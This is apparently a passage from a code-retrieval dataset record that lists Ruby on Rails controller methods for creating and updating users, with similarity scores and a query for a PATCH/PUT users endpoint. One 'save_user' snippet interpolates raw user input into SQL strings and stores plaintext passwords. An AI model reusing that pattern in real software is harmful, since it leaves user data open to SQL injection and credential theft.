"def create\n @user = User.new(params[:user])\n\n if @user.save\n respond_to do |format|\n format.json { render :json => @user.to_json, :status => 200 }\n format.xml { head :ok }\n format.html { redirect_to :action => :index }\n end\n else\n respond_to do |format|\n format.json { render :text => \"Could not create user\", :status => :unprocessable_entity } # placeholder\n format.xml { head :ok }\n format.html { render :action => :new, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @user = User.new(user_params)\n\n if @user.save\n \tdata = { data: @user, status: :created, message: \"User was successfully created.\" }\n render :json => data\n else\n \tdata = { data: @user.errors, status: :unprocessable_entity }\n render :json => data\n end\n end",
"def create\n @user = User.new(user_params)\n @user.save\n respond_with @user\n end",
"def create\n user = User.create(user_params)\n\n if user.valid?\n render json: {user: UserSerializer.new(user), token: encode_token(user.id)}\n else\n render json: user.errors.full_messages\n end\n end",
"def create\n @user = User.new(user_params)\n if @user.save\n render :ok, json: @user.to_json\n else\n @errors = @user.errors.full_messages\n render json: { message: @errors }, status: :unauthorized\n end\n end",
"def create_user(attributes)\n post(\"/v1/users\", attributes)\n end",
"def create\n user = User.new(user_params)\n if user.save\n render json: {status: 200, msg: 'User was created.'}\n else\n render json: {errors: user.errors.messages}\n end\n end",
"def create\n user_response = API::V1::Users.authenticate params.as_json\n if user_response.success?\n json = HashWithIndifferentAccess.new(user_response.parsed_response)\n auth_response = API::V1::Auth.issue json[:data]\n respond_with auth_response.body, auth_response.code\n else\n respond_with nil, :unauthorized\n end\n end",
"def create_user(options = {})\n post \"/users\", options\n end",
"def create\n @user = User.new(user_params)\n\n if @user.save\n respond_with(@user, location: users_url, notice: 'User was successfully created.')\n else\n respond_with(@user)\n end\n end",
"def create\n puts '>>> params:'\n puts params.inspect\n @user = User.new(params[:user])\n puts '>>> User:'\n puts @user.inspect\n\n if @user.save\n render json: @user, status: :created, location: @user\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def create\n\t\tresp = {} \n user = User.create(user_params)\n \tif user.valid?\n if user.save\n return render :json => user.as_json\n end\n end\n render json: user.errors.full_messages \n\tend",
"def create\n \n user = User.new(user_params)\n\n if user.save\n\n render json: {status: 200, msg: 'User was created.'}\n\n else \n render json: {\n errors: user.errors.full_messages\n }, status: :unprocessable_entity\n\n end\n\n end",
"def create\n @user = User.new(params[:user])\n @user.status = 'active'\n\n respond_to do |format|\n if @user.save\n format.json { render :json => @user, :status => :created }\n format.html { redirect_to(users_path) }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @user.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n user = User.new(user_params)\n\n # if user is saved sucessfully it will return user and ith status 201 for created\n if user.save\n render json:user,status: :created\n #if request is properly served but data is wrong it ll give ubprocessable_entity with code 422\n else\n render json: user.errors, status: :unprocessable_entity\n end \n end",
"def create\n @user = User.new(params[:user])\n\n respond_to do |format|\n if @user.save\n format.html { redirect_to users_url, :notice => 'User was successfully created.' }\n format.json { render :json => @user, :status => :created, :location => @user }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @user.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n # Insert new user in database\n user = User.new(user_params)\n\n if user.save\n # On success, send token information to authenticate user\n token = create_token(user.id, user.username)\n render json: {status: 200, token: token, user: user}\n # render json: @user, status: :created, location: @user\n else\n render json: user.errors, status: :unprocessable_entity\n end\n end",
"def save_user\n client = create_db_client\n client.query(\"INSERT INTO users(name, email, password, bio) VALUES('#{@name}', '#{@email}', '#{@password}', '#{@bio}')\")\n \n id = client.last_id\n rawData = client.query(\"SELECT * FROM users WHERE id='#{id}'\")\n users = Array.new\n rawData.each do |data|\n user = {:id => data[\"id\"], :name => data[\"name\"] ,:email => data[\"email\"], :password => data[\"password\"], :bio => data[\"bio\"]}\n users << user\n end\n response = Response.new('success', 'success input user', users)\n return response.response_api\n end",
"def create\n puts params\n @user = User.new(params[:user])\n\n respond_to do |format|\n if @user.save\n format.html { redirect_to @user, notice: 'User was successfully created.' }\n format.json { render json: @user.as_json(user: current_user), status: :created, location: @user }\n else\n format.html { render action: \"new\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @user = User.new(user_params)\n @user.email = params[:email].downcase\n if @user.save\n render json: @user, status: 200\n else\n render json: { errors: @user.errors.full_messages }, status: 400\n end\n end",
"def mf_api_manually_add_user\n\n # Create new User\n user = User.new\n\n # Populate User\n user.clientid = params[:client_id]\n user.email = params[:email]\n\n user.save\n\n response = {\n success: true,\n message: 'New User Created!'\n }\n\n render json: response\n\n end",
"def create\n user = User.create(user_params)\n if user.valid?\n user.username.downcase\n @token = issue_token(user)\n list = List.create(name: user.username)\n list.user_id = user.id\n user.save\n list.save\n render json: { user: UserSerializer.new(user), jwt: @token }, status: :created \n else \n render json: { error: user.errors.full_messages }, status: :not_acceptable\n end \n end",
"def create\n params[:user][\"_id\"] = params[:user][:name]\n @user = User.new(params[:user])\n\n respond_to do |format|\n if @user.save()\n format.html { redirect_to @user, notice: 'User was successfully created.' }\n format.json { render json: @user, status: :created, location: @user }\n else\n format.html { render action: \"new\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @user = User.new(params[:user])\n\n respond_to do |format|\n if @user.save\n format.html { redirect_to users_url, notice: 'User was successfully created.' }\n format.json { render json: @user, status: :created, location: @user }\n else\n format.html { render action: \"new\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @user = User.new(params[:user])\n\n respond_to do |format|\n if @user.save\n format.html { redirect_to users_url, notice: 'User was successfully created.' }\n format.json { render json: @user, status: :created, location: @user }\n else\n format.html { render action: \"new\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n user = User.new(user_params)\n\n if user.valid?\n user.save\n render json: {user: user, token: encode_token({user_id: user.id})}\n else\n render json: {error: \"Failed to create the user\"}\n end\n end",
"def create\n @user = User.new(user_params)\n render json: @user && return if @user.save\n\n render json: { error: \"Unable to save user: #{@user.errors.messages}\" }, status: 400\n end",
"def index\n @user = User.new\n if @user.save\n @user = UserSerializer.new(@user, option={})\n render json: { data: { user: @user.as_json } }, status: 200\n else\n @user = ValidationErrorsSerializer.new(@user)\n render json: { data: { user: @user.as_json } }, status: 500\n end\n end",
"def create\n @user = User.new(params[:user])\n\n respond_to do |format|\n if @user.save \n format.html { redirect_to users_url, notice: \"User #{@user.name} was successfully created.\" }\n format.json { render json: @user, status: :created, location: @user }\n else\n format.html { render action: \"new\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n user = User.new(user_params)\n \n if user.save\n token = JsonWebToken.encode(user_id: user.id)\n render json: { auth_token: token, user: AuthUserSerializer.new(user).serializable_hash }, status: 201\n else \n render json: { errors: user.errors.full_messages }, status: 400\n end\n end",
"def create\n @user = User.new(user_params)\n\n if @user.save\n render json:@user\n elsif @user.errors\n render json: {error: {code: 400, server_message: @user.errors}}, status: :bad_request\n else\n render json: {error: {code: 500, message: \"Could not save user\", server_message: @user.errors}}, status: :internal_server_error\n end\n\n end",
"def create\n @user = User.new(user_params)\n\n if @user.save\n render :show, status: :created, location: @user\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def create\n @user = User.new(user_params)\n\n if @user.save\n render :show, status: :created, location: @user\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def create\n authorize :user, :create?\n @user = User.new(user_params)\n @user.save\n\n respond_to do |format|\n format.html\n format.json { render :json => @user, status: 200 }\n end\n end",
"def create\n @user = User.new(user_params)\n if @user.save\n auth_token = Knock::AuthToken.new payload: { sub: @user.id }\n render json: { username: @user.username, jwt: auth_token.token }, status: :created\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def post(hash)\n HttpClient::Preconditions.assert_class('hash', hash, Hash)\n @client.request(\"/users\").with_json(hash.to_json).post { |hash| Apidoc::Models::User.new(hash) }\n end",
"def create\n @user = User.new(user_params)\n\n if @user.save\n render :json => { :status => 0 }\n else\n render :json => { :status => 1, :msg => @user.errors}\n end\n end",
"def users_api_create_with_http_info(email, password, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: UsersAPIApi#users_api_create ...\"\n end\n \n # verify the required parameter 'email' is set\n fail \"Missing the required parameter 'email' when calling users_api_create\" if email.nil?\n \n # verify the required parameter 'password' is set\n fail \"Missing the required parameter 'password' when calling users_api_create\" if password.nil?\n \n # resource path\n path = \"/users\".sub('{format}','json')\n\n # query parameters\n query_params = {}\n query_params[:'email'] = email\n query_params[:'password'] = password\n query_params[:'name'] = opts[:'name'] if opts[:'name']\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n _header_accept = []\n _header_accept_result = @api_client.select_header_accept(_header_accept) and header_params['Accept'] = _header_accept_result\n\n # HTTP header 'Content-Type'\n _header_content_type = []\n header_params['Content-Type'] = @api_client.select_header_content_type(_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n \n\n auth_names = []\n data, status_code, headers = @api_client.call_api(:POST, path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'User')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: UsersAPIApi#users_api_create\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def create\n # login\n user = User.authenticate(params[:user][:email], params[:user][:password])\n\n respond_to do |format|\n if user\n # Create an api token for this user.\n user.enable_api!\n format.json { render :json => user }\n else\n format.json { head :unauthorized }\n end\n end\n end",
"def create\n @user = User.new(user_params)\n respond_to do |format|\n if @user.save\n format.html { redirect_to users_path, notice: 'User was successfully created.' }\n format.json { render :show, status: :created, location: @user }\n else\n format.html { render :new }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @user = User.new(\n first_name: params[:first_name],\n last_name: params[:last_name],\n birth_date: params[:birth_date],\n height: params[:height],\n weight: params[:weight],\n user_name: params[:user_name],\n password: params[:password],\n password_confirmation: params[:password_confirmation],\n facebook_url: params[:facebook_url],\n twitter_url: params[:twitter_url],\n instagram_url: params[:instagram_url],\n address: params[:address],\n email: params[:email]\n ) \n if @user.save!\n render 'successful.json.jb', status: :created\n else\n render 'unsuccessful.json.jb', status: :bad_request\n end\n end",
"def create\n user = User.create!(user_params)\n session[:user_id] = user.id\n render json: user, status: :created\n end",
"def create\n @user = User.new(user_params)\n\n if @user.save\n render json: {message: \"user create successfuly\"}\n else\n render json: {message: \"Error\"}\n end \n end",
"def create\n @user = User.new({name: params[:name], email: params[:email], password: params[:password], photo: params[:photo]})\n @user.save\n render json:@user\n end",
"def create\n @user = User.new(user_params)\n\n respond_to do |format|\n if @user.save\n format.html { redirect_to users_path, notice: 'User was successfully created.' }\n format.json { render :show, status: :created, location: @user }\n else\n format.html { render :new }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end"
] |
[
"0.77696055",
"0.7715399",
"0.74774957",
"0.72712666",
"0.7257523",
"0.72392815",
"0.7238419",
"0.71692145",
"0.7145948",
"0.7144342",
"0.7137745",
"0.7127959",
"0.71245164",
"0.7122874",
"0.71205556",
"0.70954525",
"0.70851696",
"0.7064169",
"0.7064169",
"0.7064169",
"0.70586044",
"0.70583194",
"0.7043216",
"0.70354897",
"0.70354897",
"0.7023622",
"0.7013572",
"0.7013572",
"0.700539",
"0.6999919",
"0.6989361",
"0.6983382",
"0.69827044",
"0.69789994",
"0.6976444",
"0.6967142",
"0.6955226",
"0.69335884",
"0.6929812",
"0.69025826",
"0.690031",
"0.6897391",
"0.68877494",
"0.6884682",
"0.6880915",
"0.6880497",
"0.68709075",
"0.68677706",
"0.68619215",
"0.6858522",
"0.6855623",
"0.6850343",
"0.68389046",
"0.68354243",
"0.6829384",
"0.6818623",
"0.68068415",
"0.6793557",
"0.6791694",
"0.67647445",
"0.6761353",
"0.6745141",
"0.67372024",
"0.6736791",
"0.6721321",
"0.67188996",
"0.6711264",
"0.6696967",
"0.66919947",
"0.6690837",
"0.6687718",
"0.6687709",
"0.6683747",
"0.6674039",
"0.6668927",
"0.6666202",
"0.66652775",
"0.6664237",
"0.66608906",
"0.6656822",
"0.66564417",
"0.66556126",
"0.66511685",
"0.66497916",
"0.6644618",
"0.6641431",
"0.6636151",
"0.6635636",
"0.6635636",
"0.6632435",
"0.66234577",
"0.66069597",
"0.6605857",
"0.6592437",
"0.6588549",
"0.6576403",
"0.6575414",
"0.6570556",
"0.6567419",
"0.65670294",
"0.6566975"
] |
0.0
|
-1
|
PATCH/PUT /api/users/1 PATCH/PUT /api/users/1.json
|
def update
if @user.update(user_params)
render :show
else
render json: @user.errors, status: :unprocessable_entity
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def update\n render json: User.update(params[\"id\"], params[\"user\"])\n end",
"def update\n render json: Users.update(params[\"id\"], params[\"user\"])\n end",
"def UpdateUser params = {}\n \n APICall(path: 'users.json',method: 'PUT',payload: params.to_json)\n \n end",
"def update\n if @user.id == current_api_user.id\n if @user.update(user_params)\n render json: @user.as_json(except: [:updated_at]), status: :ok\n else\n render json: @user.errors, status: :bad_request\n end\n else\n render json: '', status: :forbidden\n end\n end",
"def update \n user = User.find(params[:id])\n # byebug\n user.update(user_params)\n\n render json: user\n end",
"def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes_from_api(params[:user])\n format.html { redirect_to @user, :notice => 'User was successfully updated.' }\n format.json { render_for_api :user, :json => @user }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @user.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n if @api_v1_user.update(api_v1_user_params)\n head :no_content\n else\n render json: @api_v1_user.errors, status: :unprocessable_entity\n end\n end",
"def update\n user = User.find(params[:id])\n\n # Use update with user_params to do a mass-assignment update and save. \n if user.update_attributes(user_params)\n render json: user\n else \n render json: user.errors.full_messages, status: :unprocessable_entity\n end\n end",
"def update\n user = User.find_by(id: params[:id])\n user.update(user_params)\n render json: user\n end",
"def modify_user(user)\n query_api_object Model::User, '/rest/user', user.to_hash, 'PUT'\n end",
"def update\n user = User.find(params[:id])\n if user.update(params_user)\n render json: user, status: 200\n else\n render json: user.errors, status: 422\n end\n\n end",
"def update_current_logged_in_user(args = {}) \n put(\"/users.json/current\", args)\nend",
"def update\n if user.update(user_params)\n render json: user\n else\n render json: {errors: \"Cannot create user\"}, :status => 420\n end\n end",
"def update\n user = @user_service.update_user(params[:id])\n render json: user, status: :ok\n end",
"def update\n @api_user = ApiUser.find(params[:id])\n\n if @api_user.update(api_user_params)\n head :no_content\n else\n render json: @api_user.errors, status: :unprocessable_entity\n end\n end",
"def update\n user = User.find(params[:id])\n user.update(user_params)\n if user.valid?\n render json: user\n else\n render json: user.errors\n end\n end",
"def update_users_password(args = {}) \n put(\"/users.json/backoffice/#{args[:userId]}/password/#{args[:password]}\", args)\nend",
"def update_users_password(args = {}) \n put(\"/users.json/backoffice/#{args[:userId]}/password/#{args[:password]}\", args)\nend",
"def update\n @user = current_api_user\n unless @user.update(user_params)\n render json: { error: @user.errors.full_messages.to_sentence }, status: :not_found\n end\n end",
"def updateUser\n options = {\n :body => params.to_json,\n :headers => {\n 'Content-Type' => 'application/json',\n 'Authorization' => request.headers['Authorization']\n }\n }\n results = HTTParty.put(\"http://192.168.99.101:4051/users/\"+@current_user[\"id\"].to_s, options)\n render json: results.parsed_response, status: results.code\n end",
"def update\n user = find_user\n user.update!(user_params)\n render json: user\n end",
"def update\n \trespond_to do |format|\n if @user.update(user_params)\n format.json { render json: @user }\n else\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n\t \t\n end",
"def update\n if @user.update(user_params)\n render json: @user, status: 200\n else\n render json: @user.errors, status: 422\n end\n end",
"def update\n @user = User.find(params[:id])\n\n if @user.update(user_params)\n render json:@user\n else\n render json: { error: {code: 404, message: 'Invalid user' }}, status: :not_found\n end\n end",
"def update\n @user = User.find(params[:id])\n\n if @user.update_attributes(params[:user])\n head :no_content\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def update\n @user = User.find(params[:id])\n\n if @user.update_attributes(params[:user])\n head :no_content\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def update\n if @user.update(user_params)\n render json: @user\n else\n render json: {error: \"Could not update user\"}\n end\n end",
"def update\n begin\n user = User.find(params[:user_id])\n if user.update(user_params)\n render json: { users: user }, status: :ok\n else\n render json: { errors: user.errors.messages }, status: 422\n end\n rescue => e\n render json: { errors: e.message }, status: 404\n end\n end",
"def update\n @user = User.find(params[:id])\n @user.name = params[:name]\n @user.email = params[:email]\n @user.password = params[:password]\n @user.photo = params[:photo]\n @user.role = params[:type]\n @user.save\n render json:@user\n end",
"def update\n @user = User.find(params[:id])\n @user.update_attributes(params[:user])\n respond_with @user\n end",
"def update\n @user = User.find(params[:id])\n @user.update_attributes(params[:user])\n respond_with @user\n end",
"def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { render action: \"edit\"}\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n \n end",
"def update\n @user = User.find(params[:id])\n\n if @user.update user_params(params[:user])\n head :no_content\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def update\n @user = User.find(params[:id])\n @user.name = params[:name]\n @user.email = params[:email]\n @user.password = params[:password]\n @user.photo = params[:photo]\n @user.save\n render json:@user\n end",
"def update_user(options)\n patch(\"/user\", options, 3)\n end",
"def update\n @user.update(user_params)\n respond_with @user\n end",
"def update\n if @user.update(user_params)\n render json: @user\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def update\n if @user.update(user_params)\n render json: @user\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def modify_user(user)\n query_api_object User, \"/rest/user\", user.dump(), \"PUT\"\n end",
"def update\n respond_to do |format|\n if user.update(user_params)\n render json: user, status: :ok\n else\n format.json { render json: user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_current_logged_in_users_password(args = {}) \n put(\"/users.json/current/password\", args)\nend",
"def update\n @user = User.find(params[:id])\n\n if @user.update(params[:user])\n head :no_content\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def update\n @user = User.find(params[:id])\n\n if @user.update(user_params(params[:user]))\n head :no_content\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def patch_user(user_id, body)\n raise Auth0::MissingUserId, 'Must supply a valid user_id' if user_id.to_s.empty?\n raise Auth0::InvalidParameter, 'Must supply a valid body' if body.to_s.empty? || body.empty?\n path = \"#{users_path}/#{user_id}\"\n patch(path, body)\n end",
"def update\n @user = User.find(params[:id])\n @user.update(user_params)\n render json: @current_user\n end",
"def update\n @user = User.find(params[:id]) \n \n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to users_url, notice: 'User #{@user.name} was successfully created.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @user.update(user_params_update)\n json_response(@user)\n end",
"def patch!\n request! :patch\n end",
"def api_patch(path, data = {})\n api_request(:patch, path, :data => data)\n end",
"def update\n @user = selected_user\n if @user.update(users_params)\n render 'api/users/show'\n else\n render json: @user.errors.full_messages, status: 422\n end\n end",
"def update\n @user = User.find(params[:id])\n\n if @user.update(user_params(params))\n head :no_content\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def update\n @user = User.find(params[:id])\n\n if @user.update(user_params(params))\n head :no_content\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def update\n @user = User.find(params[:id])\n\n if @user.update(user_params)\n head :no_content\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def update\n @user = User.find(params[:id])\n\n if @user.update(user_params)\n head :no_content\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def users_id_patch_with_http_info(id, user_mod_req, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: UsersApi.users_id_patch ...'\n end\n # verify the required parameter 'id' is set\n if @api_client.config.client_side_validation && id.nil?\n fail ArgumentError, \"Missing the required parameter 'id' when calling UsersApi.users_id_patch\"\n end\n # verify the required parameter 'user_mod_req' is set\n if @api_client.config.client_side_validation && user_mod_req.nil?\n fail ArgumentError, \"Missing the required parameter 'user_mod_req' when calling UsersApi.users_id_patch\"\n end\n # resource path\n local_var_path = '/users/{id}'.sub('{' + 'id' + '}', id.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json', 'application/xml'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json', 'application/x-www-form-urlencoded', 'multipart/form-data'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(user_mod_req)\n auth_names = ['BrainPortalSession']\n data, status_code, headers = @api_client.call_api(:PATCH, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'User')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: UsersApi#users_id_patch\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def update \n user = User.where(:id => current_user.user)\n if user.update(user_params)\n render :json => {:user => user }\n else\n render :json => {:error => user.errors.full_messages.first}\n end\nend",
"def update\n user = User.find(params[:id])\n render json: { status: 200, msg: 'User details have been updated.' } if user.update(user_params)\n end",
"def update\n user = User.find(params[:id])\n if user.update(user_params)\n render json: user\n else\n render json: user.errors.full_messages\n end\n end",
"def user_update_me(opts = {})\n if Configuration.debugging\n Configuration.logger.debug \"Calling API: UserApi#user_update_me ... opts: #{opts}\"\n end\n\n # resource path\n path = \"/user\".sub('{format}','json')\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n _header_accept = ['application/json', 'application/xml', 'text/xml', 'application/javascript', 'text/javascript']\n _header_accept_result = @api_client.select_header_accept(_header_accept) and header_params['Accept'] = _header_accept_result\n\n # HTTP header 'Content-Type'\n _header_content_type = ['application/json', 'application/x-www-form-urlencoded']\n header_params['Content-Type'] = @api_client.select_header_content_type(_header_content_type)\n\n # form parameters\n form_params = {}\n form_params[\"firstname\"] = opts[:'firstname'] if opts[:'firstname']\n form_params[\"lastname\"] = opts[:'lastname'] if opts[:'lastname']\n form_params[\"oldPassword\"] = opts[:'old_password'] if opts[:'old_password']\n form_params[\"newPassword\"] = opts[:'new_password'] if opts[:'new_password']\n form_params[\"newPasswordConfirm\"] = opts[:'new_password_confirm'] if opts[:'new_password_confirm']\n form_params[\"country\"] = opts[:'country'] if opts[:'country']\n form_params[\"pgpPubKey\"] = opts[:'pgp_pub_key'] if opts[:'pgp_pub_key']\n\n # http body (model)\n post_body = nil\n\n\n auth_names = []\n result = @api_client.call_api(:PUT, path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'User')\n if Configuration.debugging\n Configuration.logger.debug \"API called: UserApi#user_update_me. Result: #{result.inspect}\"\n end\n return result\n end",
"def update\n @user = User.find(params[:id])\n if @user.update(user_params(params))\n head :no_content\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def update\n if @user.update(user_params)\n render json: @user, status: :ok\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def update\n @user = User.find(params[:id])\n if @user.update(user_params)\n head :no_content\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def update \n @current_user.update(user_params)\n render json: @current_user\n end",
"def update\n user = User.find(params[:id])\n if user.update(user_params)\n render json: {\n status: 'OK',\n msg: 'User details have been updated.',\n error: 'nil'\n }, status: :accepted\n else\n not_good(406)\n end\n end",
"def update_user\n @user = User.find(params[:id])\n if @user.update(user_params)\n head :no_content\n else\n render json: @user.errors, status :unprocessable_entity\n end\n end",
"def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to users_url, notice: 'User was successfully updated.' }\n\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_current_logged_in_users_password(args = {}) \n id = args['id']\n temp_path = \"/users.json/current/password\"\n path = temp_path\nargs.keys.each do |key|\n if (key == \"userId\")\n args.delete(key)\n path = temp_path.gsub(\"{#{key}}\", id)\n end\nend\n puts \" PATH : #{path}\"\n put(path, args)\nend",
"def update\n respond_to do |format|\n if @user.update(form_params)\n format.json { render json: { users: @user }, status: :ok, location: @user }\n else\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @user = current_org.users.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to @user, notice: 'user was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @todo = Todo.find(params[:todo][:id])\n if @todo.update_attributes(user_params)\n render json: @todo\n else\n render nothing: true, status: :bad_request\n end\n end",
"def update\n\t\tif @user.update(user_params)\n\t\t\trender json: @user\n\t\telse\n\t\t\trender json: @user.errors, status: :unprocessable_entity\n\t\tend\n\tend",
"def update\n @user = User.find(params[:id])\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.json { head :ok }\n else\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to users_url, notice: 'User was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to @user.as_json(user: current_user), notice: 'User was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_current_logged_in_user(args = {}) \n id = args['id']\n temp_path = \"/users.json/current\"\n path = temp_path\nargs.keys.each do |key|\n if (key == \"userId\")\n args.delete(key)\n path = temp_path.gsub(\"{#{key}}\", id)\n end\nend\n puts \" PATH : #{path}\"\n put(path, args)\nend",
"def update\n @user = V1::User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n flash[:notice] = 'V1::User was successfully updated.'\n format.html { redirect_to(@user) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @user.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @user = User.find(params[:id])\n authorize @user\n\n if @user.update(user_params)\n head :no_content\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def update\n @user = current_user\n if @user.update(update_user_params)\n render 'api/v1/users/show'\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def patch options\n rest_request({ method: :patch }.merge(options))\n end",
"def patch options\n rest_request({ method: :patch }.merge(options))\n end",
"def update(id, params = {})\n request(:put, \"/users/#{id}\", body: params)\n end",
"def update\n user = User.find(params[:id])\n authorize! :update, user\n if user.update_attributes(user_params)\n render :json => {:ok => true, :message => 'successful updated'}, :head => :no_content\n else\n render :json => {:ok => false, :message => user.errors}, :status => :unprocessable_entity\n end\n end",
"def update\n respond_to do |format|\n if @user\n @user.active = false\n @user.pending = false\n @user.save\n end\n format.json { render json: {:status => :ok}}\n end\n end",
"def update\n respond_to do |format|\n if @v1_user.update(v1_user_params)\n format.html { redirect_to @v1_user, notice: 'User was successfully updated.' }\n format.json { render :show, status: :ok, location: @v1_user }\n else\n format.html { render :edit }\n format.json { render json: @v1_user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n begin\n if request.content_type == \"application/json\" # Validamos el formato\n if @user.update(user_params)\n render json: @user\n else\n render status: :bad_request\n end\n else\n render status: :bad_request\n end\n rescue => exception\n # En caso de cualquier error que pueda ocurrir de formato u otro no capturado, devolveremos un status 400\n render status: :bad_request\n end\n \n end",
"def update\n UserComposite.new( user_params.merge(id: params[:id]) ).update!\n render json: StatusSerializer.new(:accepted), status: :accepted\n rescue ActiveRecord::RecordInvalid => ex\n render json: UserSerializer.new( ex.record ), status: :unprocessable_entity\n end",
"def update\n respond_to do |format|\n if @user.update(user_params)\n format.html { redirect_to root_path}\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to users_path, :notice => 'User was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @user.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @user = get_user(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to root_url, notice: \"User #{@user.login_name} was successfully updated.\" }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
